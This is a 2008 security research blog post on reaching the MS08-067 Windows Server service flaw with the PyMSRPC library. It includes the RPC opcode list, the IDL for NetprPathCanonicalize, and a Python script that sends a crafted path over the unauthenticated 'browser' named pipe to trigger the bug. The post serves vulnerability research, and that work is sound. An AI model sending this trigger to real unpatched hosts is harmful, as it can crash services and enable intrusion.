TippingPoint Digital Vaccine Laboratories
DID YOU KNOW... Frost and Sullivan announced in their Feb. 2007 report, "Analysis of Vulnerability Discovery and Disclosure", that TippingPoint was the fastest growing discoverer of new vulnerabilities and the leader in the discovery of both high-severity and Microsoft vulnerabilities.

Using PyMSRPC to Trigger MS08-067

There as been a lot of talk around Microsoft's MS08-067 out of band bulletin. Alexander Sotirov decompiled and annotated the vulnerable routine, Metasploit released a working exploit, in this post I will talk about a method you can utilize to quickly talk to this and any other RPC endpoint.

We are going to quickly establish a connecton to the vulnerable endpoint using the PyMSRPC library that Cody and I wrote and released at DeepSec to hit the vulnerable code patched in . The vulnerability is within the server service which can be exposed as either services.exe or svchost.exe depending on which version of Windows you are using. To locate the proper binary fire up Process Explorer from Microsoft. Selecting Find->Find Handle or DLL and entering 'srvsvc' will search all modules loaded on the system for the named pipe associated with the server service. Here is a screenshot of this on my system:

We can see that the svchost.exe process has a named pipe with the name srvsvc. Notice also that there is a dll called srvsvc.dll. This is likely going to be where the actual RPC structures are defined. The next step is to load srvsvc.dll in IDA and pull out the IDL information. In case you're not familiar with the Interface Definition Language check out our previous post on Network Data Representation which covers the basics of Microsoft's IDL.

Once the file is loaded we can run the mIDA plugin from Tenable to browse the defined RPC functions. The following list is generated:
  • 0x00 0x4B3AF699 _NetrCharDevEnum
  • 0x01 0x4B3AF683 _NetrCharDevGetInfo
  • 0x02 0x4B3AF6AF _NetrCharDevQPurgeSelf
  • 0x03 0x4B3AF68E _NetrCharDevQEnum
  • 0x04 0x4B3AF699 _NetrCharDevEnum
  • 0x05 0x4B3AF699 _NetrCharDevEnum
  • 0x06 0x4B3AF6A4 _NetrCharDevQPurge
  • 0x07 0x4B3AF6AF _NetrCharDevQPurgeSelf
  • 0x08 0x4B3B0DF9 _NetrConnectionEnum
  • 0x09 0x4B3B1958 _NetrFileEnum
  • 0x0A 0x4B3B19DC _NetrFileGetInfo
  • 0x0B 0x4B3B182D _NetrFileClose
  • 0x0C 0x4B3B3985 _NetrSessionEnum
  • 0x0D 0x4B3B3896 _NetrSessionDel
  • 0x0E 0x4B3A6A9B _NetrShareAdd
  • 0x0F 0x4B3A39A7 _NetrShareEnum
  • 0x10 0x4B3B47FC _NetrShareGetInfo
  • 0x11 0x4B3B48C7 _NetrShareSetInfo
  • 0x12 0x4B3B5389 _NetrShareDel
  • 0x13 0x4B3B46A1 _NetrShareDelSticky
  • 0x14 0x4B3B410F _NetrShareCheck
  • 0x15 0x4B3A3C60 _NetrServerGetInfo
  • 0x16 0x4B3B57A5 _NetrServerSetInfo
  • 0x17 0x4B3B16EF _NetrServerDiskEnum
  • 0x18 0x4B3B5F5B _NetrServerStatisticsGet
  • 0x19 0x4B3B6459 _NetrServerTransportAdd
  • 0x1A 0x4B3B62CC _NetrServerTransportEnum
  • 0x1B 0x4B3B6693 _NetrServerTransportDel
  • 0x1C 0x4B3B60A0 _NetrRemoteTOD
  • 0x1D 0x4B3A4701 _I_NetrServerSetServiceBits
  • 0x1E 0x4B3AF5C6 _NetprPathType
  • 0x1F 0x4B3AF5E2 _NetprPathCanonicalize
  • 0x20 0x4B3AF607 _NetprPathCompare
  • 0x21 0x4B3AF626 _NetprNameValidate
  • 0x22 0x4B3AF642 _NetprNameCanonicalize
  • 0x23 0x4B3AF664 _NetprNameCompare
  • 0x24 0x4B3B4785 _NetrShareEnumSticky
  • 0x25 0x4B3B53B8 _NetrShareDelStart
  • 0x26 0x4B3B4538 _NetrShareDelCommit
  • 0x27 0x4B3AF463 _NetrpGetFileSecurity
  • 0x28 0x4B3AF519 _NetrpSetFileSecurity
  • 0x29 0x4B3B63CF _NetrServerTransportAddEx
  • 0x2A 0x4B3A4724 _I_NetrServerSetServiceBitsEx
  • 0x2B 0x4B3B0F0D _NetrDfsGetVersion
  • 0x2C 0x4B3B0F47 _NetrDfsCreateLocalPartition
  • 0x2D 0x4B3B0F52 _NetrDfsDeleteLocalPartition
  • 0x2E 0x4B3B100B _NetrDfsSetLocalVolumeState
  • 0x2F 0x4B3B10CA _NetrDfsSetServerInfo
  • 0x30 0x4B3B1183 _NetrDfsCreateExitPoint
  • 0x31 0x4B3B1244 _NetrDfsDeleteExitPoint
  • 0x32 0x4B3B1303 _NetrDfsModifyPrefix
  • 0x33 0x4B3B13BC _NetrDfsFixLocalVolume
  • 0x34 0x4B3B13C7 _NetrDfsManagerReportSiteInfo
  • 0x35 0x4B3B64BF _NetrServerTransportDelEx
  • 0x36 0x4B3B54E0 _NetrServerAliasAdd
  • 0x37 0x4B3B55CD _NetrServerAliasEnum
  • 0x38 0x4B3B56BF _NetrServerAliasDel
  • 0x39 0x4B3B51C3 _NetrShareDelEx    
Skipping through the bindiffing process, MS08-067 patched opcode 0x1F which is the _NetprPathCanonicalize function. Using mIDA to retrieve this function's IDL description returns the following:
    /* opcode: 0x1F, address: 0x4B3AF5E2 */
    long  _NetprPathCanonicalize (
     [in][unique][string] wchar_t * arg_1,
     [in][string] wchar_t * arg_2,
     [out][size_is(arg_4)] char * arg_3,
     [in][range(0,64000)] long arg_4,
     [in][string] wchar_t * arg_5,
     [in, out] long * arg_6,
     [in] long arg_7
So, essentially this function takes three wide character strings and three long values. Now we will create a script to communicate with this endpoint using the PyMSRPC library. We'll start off by creating a new file in the pymsrpc\tests directory, I called mine srvsvc.py.

Firstly we will import necessary functionality:
    import sys, os, struct


    from rpc import *
    from ndr import *

    from debug import print_hex
The next step is to define a class for the opcode we want to call, in this case opcode 0x1F. Using the IDL information we gatherered with mIDA we can define the "IN" arguments to this opcode within the class constructor:
    class opcode_1f:
        def __init__(self):
            self.arg1 = ndr_unique(data=ndr_wstring(data=""))
            self.arg2 = ndr_wstring(data="\\A\\..\\..\\" + "A" * 50)
            self.arg4 = ndr_long(data=500)
            self.arg5 = ndr_wstring(data="")
            self.arg6 = ndr_long(data=1)
            self.arg7 = ndr_long(data=0)
The first argument we define is the wide char string. We wrap the instantiation of a ndr_wstring (provided by PyMSRPC) with a call to ndr_unique. This is because of the [unique] tag in the IDL definition. See the previously linked blog entry for a more detailed explanation. The rest of the arguments should be self-explanatory. The argument that triggers the vulnerability is arg2, the path name.

Once the constructor is defined, we can then write a quick serialization function that just passes off the NDR marshalling work to PyMSRPC. We'll call the function get_packed and it's definition is the following:
    def get_packed(self):
        packeddata = ""
        packeddata += self.arg1.serialize()
        packeddata += self.arg2.serialize()
        packeddata += self.arg4.serialize()
        packeddata += self.arg5.serialize()
        packeddata += self.arg6.serialize()
        packeddata += self.arg7.serialize()
        print "[%s]" % print_hex(packeddata)
        return packeddata
The serialize methods of the PyMSRPC NDR objects handles padding and alignment issues transparently. So, our get_packed function here just appends all the serialized strings together and returns it. This allows you to easily change the data within the constructor and not worry about marshaling it all by hand each time.

Now that our data is defined, we must establish the communication with the RPC endpoint. PyMSRPC wraps Core's Impacket library for DCERPC. We will be communicating over a named pipe so all we need to define is the pipe name, the host, the port, the UUID of the RPC endpoint we'd like to communicate with, and it's version. The code to do this follows:
    host = ''
    port = 445
    pipe = 'browser'
    uuid = '4b324fc8-1670-01d3-1278-5a47bf6ee188'
    version = '3.0'
    rpc = RPCnp(host, port, pipe)
    rpc.bind(uuid, version)
You'll notice we used the named pipe 'browser' rather than 'srvsvc'. This is because the browser named pipe does not require credentials and we can use it to piggyback communication to the correct endpoint by specifying the UUID for the server service.

The last remaining step is simply to create an opcode_1f object, serialize it, and send it on it's way. This is accomplished via the following code:
    opcode = 0x1f
    request = opcode_1f().get_packed()
    rpc.call(opcode, request)
If you'd like some more debugging output, you can add the following additional code:   
recvbuffer = rpc.recv()

rpcerror = rpc.rpcerror(struct.unpack("<L", recvbuffer[:4])[0])
    if not rpcerror:
        print "[%s]" % print_hex(recvbuffer)
        if rpcerror == "rpc_x_bad_stub_data":
            print "%s" % (rpcerror)
To run this file simply call python srvsvc.py and hopefully your breakpoint on NetprPathCanonicalize should hit. On XP SP3 the breakpoint you would have wanted to set is within srvsvc.dll here:
    .text:7509D97A __stdcall NetprPathCanonicalize(x, x, x, x, x, x, x)
The srvsvc.dll function simply calls in to the following function in netapi32.dll:
    .text:5B86A3A9 ; int __stdcall NetpwPathCanonicalize(wchar_t *,int,int,int,int,int)
This function will then lead to the vulnerable MS08-067 issue with a call here:
    .text:5B86A4D0                 call    sub_5B86A51B 
Within sub_5B86A51B is the vulnerable code. At this point we have a simple 60-line or so script to trigger MS08-067. Hopefully this demonstrates how PyMSRPC can allow you to quickly get up and running with Microsoft RPC investigations.
Published On: 2008-11-06 11:45:13

Comments post a comment

  1. Ron commented on 2008-11-12 @ 09:59

    Cool, I did a lot of this myself this week, so I'm glad to see I was on the right track!

    One thing I couldn't figure out, though, is how to trigger this in a safe way to tell whether or not a system is vulnerable without risking a crash. Do you know of any (non-proprietary) way to do that?

  2. Aaron Portnoy commented on 2008-12-09 @ 10:08


    I wasn't really sure how to test a system to determine susceptibility either, but I just ran across a plugin from Tenable which claims to be able to do so "reliably and non-destructively". Check it out, http://blog.tenablesecurity.com/2008/10/network-and-cre.html.

    Thanks for the comment